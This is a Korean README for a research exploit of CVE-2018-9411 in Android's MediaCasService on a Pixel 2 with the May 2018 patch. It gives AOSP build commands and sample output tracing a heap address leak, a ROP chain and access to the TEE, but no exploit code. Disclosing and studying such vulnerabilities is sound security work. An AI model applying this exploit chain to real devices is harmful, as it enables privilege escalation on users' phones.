
MediaCasService용 CVE-2018-9411 익스플로잇 코드
MediaCasService를 위한 CVE-2018-9411 익스플로잇 코드입니다.
이 익스플로잇은 교육 또는 방어 목적으로만 제공되며, 악의적이거나 공격적인 용도로 사용되어서는 안 됩니다.
취약점과 익스플로잇에 대한 전체 글은 Zimperium 블로그에서 확인할 수 있습니다.
질문이 있으시면 트위터(@tamir_zb)로 DM 보내주세요.
참고: 이 익스플로잇은 특정 기기 및 빌드(Pixel 2, 2018년 5월 보안 업데이트)에서만 작동하도록 의도되었습니다 (핑거프린트: google/walleye/walleye:8.1.0/OPM2.171019.029.B1/4720900:user/release-keys).
빌드 방법:
AOSP/external에 넣습니다.cd AOSP
source build/envsetup.sh
make cas_exploit
익스플로잇이 성공적으로 실행되면 TEE 장치에 대한 접근 권한을 획득해야 하며, 이는 QSEOS 버전을 가져와서 입증됩니다.
익스플로잇 출력 예시:
[+] Prepared descrambler object
[+] Determined small heap address (address = 0xec9d8000)
[+] Prepared remote threads
[+] Found target thread (stack address = 0xeb42b000, libc address = 0xec51d000)
[+] Copied data for ROP chain
[+] ROP stack written
[+] Running ROP chain...
[+] QSEOS version = 0x14